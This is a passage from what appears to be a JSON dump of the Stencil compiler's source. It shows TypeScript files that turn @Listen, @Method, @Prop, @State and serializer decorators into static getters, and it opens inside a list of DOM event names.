'mousedown',\n    'mouseenter',\n    'mouseleave',\n    'mousemove',\n    'mouseout',\n    'mouseover',\n    'mouseup',\n    'mousewheel',\n    'mozbrowseractivitydone',\n    'mozbrowserasyncscroll',\n    'mozbrowseraudioplaybackchange',\n    'mozbrowsercaretstatechanged',\n    'mozbrowserclose',\n    'mozbrowsercontextmenu',\n    'mozbrowserdocumentfirstpaint',\n    'mozbrowsererror',\n    'mozbrowserfindchange',\n    'mozbrowserfirstpaint',\n    'mozbrowsericonchange',\n    'mozbrowserloadend',\n    'mozbrowserloadstart',\n    'mozbrowserlocationchange',\n    'mozbrowsermanifestchange',\n    'mozbrowsermetachange',\n    'mozbrowseropensearch',\n    'mozbrowseropentab',\n    'mozbrowseropenwindow',\n    'mozbrowserresize',\n    'mozbrowserscroll',\n    'mozbrowserscrollareachanged',\n    'mozbrowserscrollviewchange',\n    'mozbrowsersecuritychange',\n    'mozbrowserselectionstatechanged',\n    'mozbrowsershowmodalprompt',\n    'mozbrowsertitlechange',\n    'mozbrowserusernameandpasswordrequired',\n    'mozbrowservisibilitychange',\n    'moztimechange',\n    'msContentZoom',\n    'nomatch',\n    'notificationclick',\n    'noupdate',\n    'obsolete',\n    'offline',\n    'online',\n    'orientationchange',\n    'overflow',\n    'pagehide',\n    'pageshow',\n    'paste',\n    'pause',\n    'play',\n    'playing',\n    'pointercancel',\n    'pointerdown',\n    'pointerenter',\n    'pointerleave',\n    'pointerlockchange',\n    'pointerlockerror',\n    'pointermove',\n    'pointerout',\n    'pointerover',\n    'pointerup',\n    'popstate',\n    'popuphidden',\n    'popuphiding',\n    'popupshowing',\n    'popupshown',\n    'progress',\n    'push',\n    'pushsubscriptionchange',\n    'ratechange',\n    'readystatechange',\n    'received',\n    'repeatEvent',\n    'reset',\n    'resize',\n    'resourcetimingbufferfull',\n    'result',\n    'resume',\n    'resuming',\n    'scroll',\n    'seeked',\n    'seeking',\n    'select',\n    'selectionchange',\n    'selectstart',\n    'sent',\n    'show',\n    'slotchange',\n    'smartcard-insert',\n    'smartcard-remove',\n    'soundend',\n    'soundstart',\n    'speechend',\n    'speechstart',\n    'stalled',\n    'start',\n    'statechange',\n    'statuschange',\n    'stkcommand',\n    'stksessionend',\n    'storage',\n    'submit',\n    'suspend',\n    'timeout',\n    'timeupdate',\n    'touchcancel',\n    'touchend',\n    'touchenter',\n    'touchleave',\n    'touchmove',\n    'touchstart',\n    'transitioncancel',\n    'transitionend',\n    'transitionrun',\n    'transitionstart',\n    'underflow',\n    'unload',\n    'updateready',\n    'userproximity',\n    'ussdreceived',\n    'visibilitychange',\n    'voicechange',\n    'voiceschanged',\n    'volumechange',\n    'vrdisplayactivate',\n    'vrdisplayblur',\n    'vrdisplayconnect',\n    'vrdisplaydeactivate',\n    'vrdisplaydisconnect',\n    'vrdisplayfocus',\n    'vrdisplaypresentchange',\n    'waiting',\n    'wheel',\n  ].map((e) => e.toLowerCase()),\n);\n"
  },
  {
    "path": "src/compiler/transformers/decorators-to-static/import-alias-map.ts",
    "content": "import ts from 'typescript';\n\nimport { STENCIL_DECORATORS, StencilDecorator } from './decorators-constants';\n\nexport class ImportAliasMap extends Map<StencilDecorator, string> {\n  constructor(sourceFile: ts.SourceFile) {\n    super();\n    this.generateImportAliasMap(sourceFile);\n  }\n\n  /**\n   * Parses a {@link ts.SourceFile} and generates a map of all imported Stencil decorators\n   * to their aliases import name (if one exists).\n   *\n   * @param sourceFile The source file to parse\n   */\n  private generateImportAliasMap(sourceFile: ts.SourceFile) {\n    const importDeclarations = sourceFile?.statements.filter(ts.isImportDeclaration) ?? [];\n\n    for (const importDeclaration of importDeclarations) {\n      if (importDeclaration.moduleSpecifier.getText().includes('@stencil/core')) {\n        const namedBindings = importDeclaration.importClause?.namedBindings;\n\n        if (namedBindings && ts.isNamedImports(namedBindings)) {\n          for (const element of namedBindings.elements) {\n            const importName = element.name.getText();\n            const originalImportName = element.propertyName?.getText() ?? importName;\n\n            // We only care to generate a map for the Stencil decorators\n            if (STENCIL_DECORATORS.includes(originalImportName as StencilDecorator)) {\n              this.set(originalImportName as StencilDecorator, importName);\n            }\n          }\n        }\n      }\n    }\n  }\n\n  override get(key: StencilDecorator): string {\n    return super.get(key) ?? key;\n  }\n}\n"
  },
  {
    "path": "src/compiler/transformers/decorators-to-static/listen-decorator.ts",
    "content": "import { augmentDiagnosticWithNode, buildError, flatOne } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { convertValueToLiteral, createStaticGetter, retrieveTsDecorators } from '../transform-utils';\nimport { getDecoratorParameters, isDecoratorNamed } from './decorator-utils';\n\nexport const listenDecoratorsToStatic = (\n  diagnostics: d.Diagnostic[],\n  typeChecker: ts.TypeChecker,\n  decoratedMembers: ts.ClassElement[],\n  newMembers: ts.ClassElement[],\n  decoratorName: string,\n) => {\n  const listeners = decoratedMembers\n    .filter(ts.isMethodDeclaration)\n    .map((method) => parseListenDecorators(diagnostics, typeChecker, method, decoratorName));\n\n  const flatListeners = flatOne(listeners);\n  if (flatListeners.length > 0) {\n    newMembers.push(createStaticGetter('listeners', convertValueToLiteral(flatListeners)));\n  }\n};\n\nconst parseListenDecorators = (\n  diagnostics: d.Diagnostic[],\n  typeChecker: ts.TypeChecker,\n  method: ts.MethodDeclaration,\n  decoratorName: string,\n): d.ComponentCompilerListener[] => {\n  const listenDecorators = (retrieveTsDecorators(method) ?? []).filter(isDecoratorNamed(decoratorName));\n  if (listenDecorators.length === 0) {\n    return [];\n  }\n\n  return listenDecorators.map((listenDecorator) => {\n    const methodName = method.name.getText();\n    const [listenText, listenOptions] = getDecoratorParameters<string, d.ListenOptions>(\n      listenDecorator,\n      typeChecker,\n      diagnostics,\n    );\n\n    const eventNames = listenText.split(',');\n    if (eventNames.length > 1) {\n      const err = buildError(diagnostics);\n      err.messageText = 'Please use multiple @Listen() decorators instead of comma-separated names.';\n      augmentDiagnosticWithNode(err, listenDecorator);\n    }\n\n    const listener = parseListener(eventNames[0], listenOptions, methodName);\n    if (listener.target === ('parent' as any)) {\n      const err = buildError(diagnostics);\n      err.messageText =\n        'The \"parent\" target is no longer available as of Stencil 2. Please use \"window\", \"document\" or \"body\" instead.';\n      augmentDiagnosticWithNode(err, listenDecorator);\n    }\n    return listener;\n  });\n};\n\nexport const parseListener = (eventName: string, opts: d.ListenOptions = {}, methodName: string) => {\n  const rawEventName = eventName.trim();\n  const listener: d.ComponentCompilerListener = {\n    name: rawEventName,\n    method: methodName,\n    target: opts.target,\n    capture: typeof opts.capture === 'boolean' ? opts.capture : false,\n    passive:\n      typeof opts.passive === 'boolean'\n        ? opts.passive\n        : // if the event name is known to be a passive event then set it to true\n          PASSIVE_TRUE_DEFAULTS.has(rawEventName.toLowerCase()),\n  };\n  return listener;\n};\n\nconst PASSIVE_TRUE_DEFAULTS = new Set([\n  'dragstart',\n  'drag',\n  'dragend',\n  'dragenter',\n  'dragover',\n  'dragleave',\n  'drop',\n  'mouseenter',\n  'mouseover',\n  'mousemove',\n  'mousedown',\n  'mouseup',\n  'mouseleave',\n  'mouseout',\n  'mousewheel',\n  'pointerover',\n  'pointerenter',\n  'pointerdown',\n  'pointermove',\n  'pointerup',\n  'pointercancel',\n  'pointerout',\n  'pointerleave',\n  'resize',\n  'scroll',\n  'touchstart',\n  'touchmove',\n  'touchend',\n  'touchenter',\n  'touchleave',\n  'touchcancel',\n  'wheel',\n]);\n"
  },
  {
    "path": "src/compiler/transformers/decorators-to-static/method-decorator.ts",
    "content": "import { augmentDiagnosticWithNode, buildError, buildWarn } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { validatePublicName } from '../reserved-public-members';\nimport {\n  convertValueToLiteral,\n  createStaticGetter,\n  getAttributeTypeInfo,\n  isMemberPrivate,\n  mapJSDocTagInfo,\n  retrieveTsDecorators,\n  retrieveTsModifiers,\n  typeToString,\n} from '../transform-utils';\nimport { isDecoratorNamed } from './decorator-utils';\n\nexport const methodDecoratorsToStatic = (\n  config: d.ValidatedConfig,\n  diagnostics: d.Diagnostic[],\n  cmpNode: ts.ClassDeclaration,\n  decoratedProps: ts.ClassElement[],\n  typeChecker: ts.TypeChecker,\n  program: ts.Program,\n  newMembers: ts.ClassElement[],\n  decoratorName: string,\n) => {\n  const tsSourceFile = cmpNode.getSourceFile();\n  const methods = decoratedProps\n    .filter(ts.isMethodDeclaration)\n    .map((method) =>\n      parseMethodDecorator(config, diagnostics, tsSourceFile, typeChecker, program, method, decoratorName),\n    )\n    .filter((method) => !!method);\n\n  if (methods.length > 0) {\n    newMembers.push(createStaticGetter('methods', ts.factory.createObjectLiteralExpression(methods, true)));\n  }\n};\n\nconst parseMethodDecorator = (\n  config: d.ValidatedConfig,\n  diagnostics: d.Diagnostic[],\n  tsSourceFile: ts.SourceFile,\n  typeChecker: ts.TypeChecker,\n  program: ts.Program,\n  method: ts.MethodDeclaration,\n  decoratorName: string,\n): ts.PropertyAssignment | null => {\n  const methodDecorator = retrieveTsDecorators(method)?.find(isDecoratorNamed(decoratorName));\n  if (methodDecorator == null) {\n    return null;\n  }\n\n  const methodName = method.name.getText();\n  const flags = ts.TypeFormatFlags.WriteArrowStyleSignature | ts.TypeFormatFlags.NoTruncation;\n  const signature = typeChecker.getSignatureFromDeclaration(method);\n  const returnType = typeChecker.getReturnTypeOfSignature(signature);\n  const returnTypeNode = typeChecker.typeToTypeNode(\n    returnType,\n    method,\n    ts.NodeBuilderFlags.NoTruncation | ts.NodeBuilderFlags.NoTypeReduction,\n  );\n  let returnString = typeToString(typeChecker, returnType);\n  let signatureString = typeChecker.signatureToString(signature, method, flags, ts.SignatureKind.Call);\n\n  if (!config._isTesting) {\n    if (returnString === 'void') {\n      const warn = buildWarn(diagnostics);\n      warn.header = '@Method requires async';\n      warn.messageText = `External @Method() ${methodName}() must return a Promise.\\n\\n Consider prefixing the method with async, such as @Method() async ${methodName}().`;\n      augmentDiagnosticWithNode(warn, method.name);\n\n      returnString = 'Promise<void>';\n      signatureString = signatureString.replace(/=> void$/, '=> Promise<void>');\n    } else if (!isTypePromise(returnString)) {\n      const err = buildError(diagnostics);\n      err.header = '@Method requires async';\n      err.messageText = `External @Method() ${methodName}() must return a Promise.\\n\\n Consider prefixing the method with async, such as @Method() async ${methodName}().`;\n      augmentDiagnosticWithNode(err, method.name);\n    }\n  }\n\n  if (isMemberPrivate(method)) {\n    const err = buildError(diagnostics);\n    err.messageText =\n      'Methods decorated with the @Method() decorator cannot be \"private\" nor \"protected\". More info: https://stenciljs.com/docs/methods';\n    augmentDiagnosticWithNode(err, retrieveTsModifiers(method)![0]);\n  }\n\n  // Validate if the method name does not conflict with existing public names\n  validatePublicName(config, diagnostics, methodName, '@Method()', 'method', method.name);\n\n  const methodMeta: d.ComponentCompilerStaticMethod = {\n    complexType: {\n      signature: signatureString,\n      parameters: signature.parameters.map((symbol) => ({\n        name: symbol.getName(),\n        type: typeToString(typeChecker, typeChecker.getTypeOfSymbolAtLocation(symbol, method)),\n        docs: ts.displayPartsToString(symbol.getDocumentationComment(typeChecker)),\n      })),\n      references: {\n        ...getAttributeTypeInfo(returnTypeNode, tsSourceFile, typeChecker, program),\n        ...getAttributeTypeInfo(method, tsSourceFile, typeChecker, program),\n      },\n      return: returnString,\n    },\n    docs: {\n      text: ts.displayPartsToString(signature.getDocumentationComment(typeChecker)),\n      tags: mapJSDocTagInfo(signature.getJsDocTags()),\n    },\n  };\n\n  const staticProp = ts.factory.createPropertyAssignment(\n    ts.factory.createStringLiteral(methodName),\n    convertValueToLiteral(methodMeta),\n  );\n\n  return staticProp;\n};\n\nconst isTypePromise = (typeStr: string) => {\n  return /^Promise<.+>$/.test(typeStr);\n};\n\nexport const validateMethods = (diagnostics: d.Diagnostic[], members: ts.NodeArray<ts.ClassElement>) => {\n  members.filter(ts.isMethodDeclaration).map((method) => {\n    if (method.name.getText() === 'componentDidUnload') {\n      const err = buildError(diagnostics);\n      err.header = `Replace \"componentDidUnload()\" with \"disconnectedCallback()\"`;\n      err.messageText = `The \"componentDidUnload()\" method was removed in Stencil 2. Please use the \"disconnectedCallback()\" method instead.`;\n      augmentDiagnosticWithNode(err, method.name);\n    }\n  });\n};\n"
  },
  {
    "path": "src/compiler/transformers/decorators-to-static/prop-decorator.ts",
    "content": "import { augmentDiagnosticWithNode, buildError, buildWarn, toDashCase } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { validatePublicName } from '../reserved-public-members';\nimport {\n  convertValueToLiteral,\n  createStaticGetter,\n  getAttributeTypeInfo,\n  isMemberPrivate,\n  resolveType,\n  retrieveTsDecorators,\n  retrieveTsModifiers,\n  serializeSymbol,\n  tsPropDeclName,\n  typeToString,\n} from '../transform-utils';\nimport { getDecoratorParameters, isDecoratorNamed } from './decorator-utils';\n\n/**\n * Parse a collection of class members decorated with `@Prop()`\n *\n * @param diagnostics a collection of compiler diagnostics. During the parsing process, any errors detected must be\n * added to this collection\n * @param decoratedProps a collection of class elements that may or may not my class members decorated with `@Prop`.\n * Only those decorated with `@Prop()` will be parsed.\n * @param typeChecker a reference to the TypeScript type checker\n * @param program a {@link ts.Program} object\n * @param newMembers a collection that parsed `@Prop` annotated class members should be pushed to as a side effect of calling this function\n * @param decoratorName the name of the decorator to look for\n * @param serializers a collection of serializers (from prop > attribute) used on `@Prop` annotated class members\n */\nexport const propDecoratorsToStatic = (\n  config: d.ValidatedConfig,\n  diagnostics: d.Diagnostic[],\n  decoratedProps: ts.ClassElement[],\n  typeChecker: ts.TypeChecker,\n  program: ts.Program,\n  newMembers: ts.ClassElement[],\n  decoratorName: string,\n  serializers: d.ComponentCompilerChangeHandler[],\n  deserializers: d.ComponentCompilerChangeHandler[],\n): void => {\n  const properties = decoratedProps\n    .filter((prop) => ts.isPropertyDeclaration(prop) || ts.isGetAccessor(prop))\n    .map((prop) =>\n      parsePropDecorator(\n        config,\n        diagnostics,\n        typeChecker,\n        program,\n        prop,\n        decoratorName,\n        newMembers,\n        serializers,\n        deserializers,\n      ),\n    )\n    .filter((prop): prop is ts.PropertyAssignment => prop != null);\n\n  if (properties.length > 0) {\n    newMembers.push(createStaticGetter('properties', ts.factory.createObjectLiteralExpression(properties, true)));\n  }\n};\n\n/**\n * Parse a single `@Prop` decorator annotated class member\n * @param diagnostics a collection of compiler diagnostics. During the parsing process, any errors detected must be\n * added to this collection\n * @param typeChecker a reference to the TypeScript type checker\n * @param program a {@link ts.Program} object\n * @param prop the TypeScript `PropertyDeclaration` to parse\n * @param decoratorName the name of the decorator to look for\n * @param newMembers a collection of parsed `@Prop` annotated class members. Used for `get()` decorated props to find a corresponding `set()`\n * @param serializers a collection of serializers (from prop > attribute) used on `@Prop` annotated class members\n * @param deserializers a collection of deserializers (from attribute > prop) used on `@Prop` annotated class members\n * @returns a property assignment expression to be added to the Stencil component's class\n */\nconst parsePropDecorator = (\n  config: d.ValidatedConfig,\n  diagnostics: d.Diagnostic[],\n  typeChecker: ts.TypeChecker,\n  program: ts.Program,\n  prop: ts.PropertyDeclaration | ts.GetAccessorDeclaration,\n  decoratorName: string,\n  newMembers: ts.ClassElement[],\n  serializers: d.ComponentCompilerChangeHandler[],\n  deserializers: d.ComponentCompilerChangeHandler[],\n): ts.PropertyAssignment | null => {\n  const propDecorator = retrieveTsDecorators(prop)?.find(isDecoratorNamed(decoratorName));\n  if (propDecorator == null) {\n    return null;\n  }\n\n  const decoratorParams = getDecoratorParameters<d.PropOptions>(propDecorator, typeChecker);\n  const propOptions: d.PropOptions = decoratorParams[0] || {};\n\n  const { staticName: propName, dynamicName: ogPropName } = tsPropDeclName(prop, typeChecker);\n\n  if (isMemberPrivate(prop)) {\n    const err = buildError(diagnostics);\n    err.messageText =\n      'Properties decorated with the @Prop() decorator cannot be \"private\" nor \"protected\". More info: https://stenciljs.com/docs/properties';\n    augmentDiagnosticWithNode(err, retrieveTsModifiers(prop)![0]);\n  }\n\n  if (/^on(-|[A-Z])/.test(propName)) {\n    const warn = buildWarn(diagnostics);\n    warn.messageText = `The @Prop() name \"${propName}\" looks like an event. Please use the \"@Event()\" decorator to expose events instead, not properties or methods.`;\n    augmentDiagnosticWithNode(warn, prop.name);\n  } else {\n    validatePublicName(config, diagnostics, propName, '@Prop()', 'prop', prop.name);\n  }\n\n  const symbol = typeChecker.getSymbolAtLocation(prop.name);\n  const type = typeChecker.getTypeAtLocation(prop);\n  const typeStr = propTypeFromTSType(type);\n  const foundSetter = ts.isGetAccessor(prop) ? findSetter(propName, newMembers) : null;\n\n  const propMeta: d.ComponentCompilerStaticProperty = {\n    type: typeStr,\n    mutable: !!propOptions.mutable,\n    complexType: getComplexType(typeChecker, prop, type, program),\n    required: prop.exclamationToken !== undefined && propName !== 'mode',\n    optional: prop.questionToken !== undefined,\n    docs: serializeSymbol(typeChecker, symbol),\n    getter: ts.isGetAccessor(prop),\n    setter: !!foundSetter,\n  };\n  if (ogPropName && ogPropName !== propName) {\n    propMeta.ogPropName = ogPropName;\n  }\n\n  const foundSerializer = !!serializers.find((s) => s.propName === propName);\n  const foundDeserializer = !!deserializers.find((s) => s.propName === propName);\n\n  // a `@Prop` can reflect if the type is *not* `unknown` (i.e. string, number, boolean, any)\n  // or `@Prop` has a serializer (a fn that can convert a complex type to a string)\n  if (typeStr !== 'unknown' || foundSerializer) {\n    const explicitReflect = getReflect(diagnostics, propDecorator, propOptions);\n    // an explicit reflect argument always wins over inferred\n    propMeta.reflect = explicitReflect === null ? foundSerializer : explicitReflect;\n  }\n\n  // a `@Prop` is allowed to have an attribute if:\n  // - the type is *not* `unknown` (i.e. string, number, boolean, any)\n  // - the prop is reflected (because reflected props must have an attribute)\n  // - a deserializer has been provided (it doesn't make sense to have a deserializer without an attribute)\n  if (typeStr !== 'unknown' || propMeta.reflect || foundDeserializer) {\n    propMeta.attribute = getAttributeName(propName, propOptions);\n  }\n\n  // extract default value\n  if (ts.isPropertyDeclaration(prop) && prop.initializer) {\n    propMeta.defaultValue = prop.initializer.getText();\n  } else if (ts.isGetAccessorDeclaration(prop)) {\n    // shallow comb to find default value for a getter\n    const returnStatement = prop.body?.statements.find((st) => ts.isReturnStatement(st)) as ts.ReturnStatement;\n    const returnExpression = returnStatement.expression;\n\n    if (returnExpression && ts.isLiteralExpression(returnExpression)) {\n      // the getter has a literal return value\n      propMeta.defaultValue = returnExpression.getText();\n    } else if (returnExpression && ts.isPropertyAccessExpression(returnExpression)) {\n      const nameToFind = returnExpression.name.getText();\n      const foundProp = findGetProp(nameToFind, newMembers);\n\n      if (foundProp && foundProp.initializer) {\n        propMeta.defaultValue = foundProp.initializer.getText();\n\n        if (propMeta.type === 'unknown') {\n          const type = typeChecker.getTypeAtLocation(foundProp);\n          propMeta.type = propTypeFromTSType(type);\n          propMeta.complexType = getComplexType(typeChecker, foundProp, type, program);\n        }\n      }\n    }\n  }\n\n  const staticProp = ts.factory.createPropertyAssignment(\n    ts.factory.createStringLiteral(propName),\n    convertValueToLiteral(propMeta),\n  );\n\n  return staticProp;\n};\n\n/**\n * Format the attribute name provided as an argument to `@Prop({attribute: ''}`\n * @param propName the prop's name, used as a fallback value\n * @param propOptions the options passed in to the `@Prop` call expression\n * @returns the formatted attribute name\n */\nconst getAttributeName = (propName: string, propOptions: d.PropOptions): string | undefined => {\n  if (propOptions.attribute === null) {\n    return undefined;\n  }\n\n  if (typeof propOptions.attribute === 'string' && propOptions.attribute.trim().length > 0) {\n    return propOptions.attribute.trim().toLowerCase();\n  }\n\n  return toDashCase(propName);\n};\n\n/**\n * Determines if the 'reflect' property should be applied to the class member decorated with `@Prop`\n * @param diagnostics a collection of compiler diagnostics. Any errors detected with setting 'reflect' must be added to\n * this collection\n * @param propDecorator the AST containing the Prop decorator\n * @param propOptions the options passed in to the `@Prop` call expression\n * @returns `true` if the prop should be reflected in the DOM, `false` otherwise\n */\nconst getReflect = (diagnostics: d.Diagnostic[], propDecorator: ts.Decorator, propOptions: d.PropOptions) => {\n  if (typeof propOptions.reflect === 'boolean') {\n    return propOptions.reflect;\n  }\n  if (typeof (propOptions as any).reflectToAttr === 'boolean') {\n    const err = buildError(diagnostics);\n    err.header = `Rename \"reflectToAttr\" to \"reflect\"`;\n    err.messageText = `@Prop option \"reflectToAttr\" should be renamed to \"reflect\".`;\n    augmentDiagnosticWithNode(err, propDecorator);\n    return (propOptions as any).reflectToAttr as boolean;\n  }\n  return null;\n};\n\nconst getComplexType = (\n  typeChecker: ts.TypeChecker,\n  node: ts.PropertyDeclaration | ts.GetAccessorDeclaration,\n  type: ts.Type,\n  program: ts.Program,\n): d.ComponentCompilerPropertyComplexType => {\n  const nodeType = node.type;\n  return {\n    original: nodeType ? nodeType.getText() : typeToString(typeChecker, type),\n    resolved: resolveType(typeChecker, type),\n    references: getAttributeTypeInfo(\n      // If the node did not explicity have a type set (i.e. `name: string`), then\n      // we can generate a type node via the type checker to resolve references for inferred types.\n      //\n      // This is only a concern with non-primitive types such as a user-defined enum.\n      //\n      // For instance, a @Prop() defined as:\n      // @Prop() mode = ComponentModes.DEFAULT;\n      // Should be able to correctly infer the type to be `ComponentModes` and\n      // resolve the reference to this type for use in generated component type declarations.\n      nodeType ? node : typeChecker.typeToTypeNode(type, undefined, undefined),\n      node.getSourceFile(),\n      typeChecker,\n      program,\n    ),\n  };\n};\n\n/**\n * Derives a Stencil-permitted prop type from the TypeScript compiler's output. This function may narrow the type of a\n * prop, as the types that can be returned from the TypeScript compiler may be more complex than what Stencil can/should\n * handle for props.\n * @param type the prop type to narrow\n * @returns a valid Stencil prop type\n */\nexport const propTypeFromTSType = (type: ts.Type): 'any' | 'boolean' | 'number' | 'string' | 'unknown' => {\n  const isAnyType = checkType(type, isAny);\n\n  if (isAnyType) {\n    return 'any';\n  }\n\n  const isStr = checkType(type, isString);\n  const isNu = checkType(type, isNumber);\n  const isBool = checkType(type, isBoolean);\n\n  // if type is more than a primitive type at the same time, we mark it as any\n  if (Number(isStr) + Number(isNu) + Number(isBool) > 1) {\n    return 'any';\n  }\n\n  // at this point we know the prop's type is NOT the mix of primitive types\n  if (isStr) {\n    return 'string';\n  }\n  if (isNu) {\n    return 'number';\n  }\n  if (isBool) {\n    return 'boolean';\n  }\n  return 'unknown';\n};\n\n/**\n * Determines if a TypeScript compiler given `Type` is of a particular type according to the provided `check` parameter.\n * Union types (e.g. `boolean | number | string`) will be evaluated one type at a time.\n * @param type the TypeScript `Type` entity to evaluate\n * @param check a function that takes a TypeScript `Type` as its only argument and returns `true` if the `Type` conforms\n * to a particular type\n * @returns the result of the `check` argument. The result of `check` is `true` for one or more types in a union type,\n * return `true`.\n */\nconst checkType = (type: ts.Type, check: (type: ts.Type) => boolean): boolean => {\n  if (type.flags & ts.TypeFlags.Union) {\n    // if the type is a union, check each type in the union\n    const union = type as ts.UnionType;\n    if (union.types.some((type) => checkType(type, check))) {\n      return true;\n    }\n  }\n  return check(type);\n};\n\n/**\n * Determine if a TypeScript compiler `Type` is a boolean\n * @param t the `Type` to evaluate\n * @returns `true` if the `Type` has any boolean-similar flags, `false` otherwise\n */\nconst isBoolean = (t: ts.Type): boolean => {\n  if (t) {\n    return !!(t.flags & (ts.TypeFlags.Boolean | ts.TypeFlags.BooleanLike));\n  }\n  return false;\n};\n\n/**\n * Determine if a TypeScript compiler `Type` is a number\n * @param t the `Type` to evaluate\n * @returns `true` if the `Type` has any number-similar flags, `false` otherwise\n */\nconst isNumber = (t: ts.Type): boolean => {\n  if (t) {\n    return !!(t.flags & (ts.TypeFlags.Number | ts.TypeFlags.NumberLike | ts.TypeFlags.NumberLiteral));\n  }\n  return false;\n};\n\n/**\n * Determine if a TypeScript compiler `Type` is a string\n * @param t the `Type` to evaluate\n * @returns `true` if the `Type` has any string-similar flags, `false` otherwise\n */\nconst isString = (t: ts.Type): boolean => {\n  if (t) {\n    return !!(t.flags & (ts.TypeFlags.String | ts.TypeFlags.StringLike | ts.TypeFlags.StringLiteral));\n  }\n  return false;\n};\n\n/**\n * Determine if a TypeScript compiler `Type` is of type any\n * @param t the `Type` to evaluate\n * @returns `true` if the `Type` has the `Any` flag set on it, `false` otherwise\n */\nconst isAny = (t: ts.Type): boolean => {\n  if (t) {\n    return !!(t.flags & ts.TypeFlags.Any);\n  }\n  return false;\n};\n\n/**\n * Attempts to find a `set` member of the class when there is a corresponding getter\n * @param propName - the property name of the setter to find\n * @param members - all the component class members\n * @returns the found typescript AST setter node\n */\nconst findSetter = (propName: string, members: ts.ClassElement[]): ts.SetAccessorDeclaration | undefined => {\n  return members.find((m) => ts.isSetAccessor(m) && m.name.getText() === propName) as\n    | ts.SetAccessorDeclaration\n    | undefined;\n};\n\n/**\n * When attempting to find the default value of a decorated `get` prop, if a member like `this.something`\n * is returned, this method is used to comb the class members to attempt to get it's default value\n * @param propName - the property name of the member to find\n * @param members - all the component class members\n * @returns the found typescript AST class member\n */\nconst findGetProp = (propName: string, members: ts.ClassElement[]): ts.PropertyDeclaration | undefined => {\n  return members.find((m) => ts.isPropertyDeclaration(m) && m.name.getText() === propName) as ts.PropertyDeclaration;\n};\n"
  },
  {
    "path": "src/compiler/transformers/decorators-to-static/serialize-decorators.ts",
    "content": "import ts from 'typescript';\n\nimport { convertValueToLiteral, createStaticGetter, retrieveTsDecorators, tsPropDeclName } from '../transform-utils';\nimport { getDecoratorParameters, isDecoratorNamed } from './decorator-utils';\n\nexport const serializeDecoratorsToStatic = (\n  typeChecker: ts.TypeChecker,\n  decoratedProps: ts.ClassElement[],\n  newMembers: ts.ClassElement[],\n  decoratorName: string,\n  translateType: 'PropSerialize' | 'AttrDeserialize',\n  propDecoratorName: string,\n) => {\n  // we only care about `@Prop` decorated properties\n  const props: string[] = decoratedProps\n    .filter((prop) => ts.isPropertyDeclaration(prop) || ts.isGetAccessor(prop))\n    .flatMap((prop) => {\n      if (retrieveTsDecorators(prop)?.find(isDecoratorNamed(propDecoratorName))) {\n        const { staticName } = tsPropDeclName(prop, typeChecker);\n        return [staticName];\n      }\n      return [];\n    });\n\n  const serializers = decoratedProps\n    .filter(ts.isMethodDeclaration)\n    .flatMap((method) => parseSerializeDecorator(typeChecker, method, decoratorName, props));\n\n  if (serializers.length > 0) {\n    if (translateType === 'PropSerialize') {\n      newMembers.push(createStaticGetter('serializers', convertValueToLiteral(serializers)));\n    } else {\n      newMembers.push(createStaticGetter('deserializers', convertValueToLiteral(serializers)));\n    }\n  }\n\n  return serializers;\n};\n\nconst parseSerializeDecorator = (\n  typeChecker: ts.TypeChecker,\n  method: ts.MethodDeclaration,\n  decoratorName: string,\n  props: string[],\n) => {\n  const methodName = method.name.getText();\n  const decorators = retrieveTsDecorators(method) ?? [];\n\n  return decorators.filter(isDecoratorNamed(decoratorName)).flatMap((decorator) => {\n    const [propName] = getDecoratorParameters<string>(decorator, typeChecker);\n\n    if (!props.includes(propName)) {\n      // ignore if there's no corresponding @Prop decorated property\n      return [];\n    }\n\n    return [\n      {\n        propName,\n        methodName,\n      },\n    ];\n  });\n};\n"
  },
  {
    "path": "src/compiler/transformers/decorators-to-static/state-decorator.ts",
    "content": "import ts from 'typescript';\n\nimport { convertValueToLiteral, createStaticGetter, retrieveTsDecorators, tsPropDeclName } from '../transform-utils';\nimport { isDecoratorNamed } from './decorator-utils';\n\n/**\n * Convert class fields decorated with `@State` to static getters\n *\n * This function takes a list of decorated properties pulled off of a class\n * declaration AST Node and builds up equivalent static getter AST nodes\n * with which they can be replaced.\n *\n * @param decoratedProps TypeScript AST nodes representing class members\n * @param newMembers an out param containing new class members\n * @param typeChecker a reference to the TypeScript type checker\n * @param decoratorName the name of the decorator to look for\n */\nexport const stateDecoratorsToStatic = (\n  decoratedProps: ts.ClassElement[],\n  newMembers: ts.ClassElement[],\n  typeChecker: ts.TypeChecker,\n  decoratorName: string,\n) => {\n  const states = decoratedProps\n    .filter(ts.isPropertyDeclaration)\n    .map((prop) => stateDecoratorToStatic(prop, typeChecker, decoratorName))\n    .filter((state): state is ts.PropertyAssignment => !!state);\n\n  if (states.length > 0) {\n    newMembers.push(createStaticGetter('states', ts.factory.createObjectLiteralExpression(states, true)));\n  }\n};\n\n/**\n * Convert a property declaration decorated with `@State` to a property\n * assignment AST node which maps the name of the state property to an empty\n * object.\n *\n * Note that this function will return null if the property declaration is\n * decorated with other decorators.\n *\n * @param prop A TypeScript AST node representing a class property declaration\n * @param typeChecker a reference to the TypeScript type checker\n * @param decoratorName the name of the decorator to look for\n * @returns a property assignment AST Node which maps the name of the state\n * prop to an empty object\n */\nconst stateDecoratorToStatic = (\n  prop: ts.PropertyDeclaration,\n  typeChecker: ts.TypeChecker,\n  decoratorName: string,\n): ts.PropertyAssignment | null => {\n  const stateDecorator = retrieveTsDecorators(prop)?.find(isDecoratorNamed(decoratorName));\n  if (stateDecorator == null) {\n    return null;\n  }\n\n  const { staticName: stateName, dynamicName: ogPropName } = tsPropDeclName(prop, typeChecker);\n  const meta: any = {};\n  if (ogPropName && ogPropName !== stateName) meta.ogPropName = ogPropName;\n\n  return ts.factory.createPropertyAssignment(ts.factory.createStringLiteral(stateName), convertValueToLiteral(meta));\n};\n"
  },
  {
    "path": "src/compiler/transformers/decorators-to-static/style-to-static.ts",
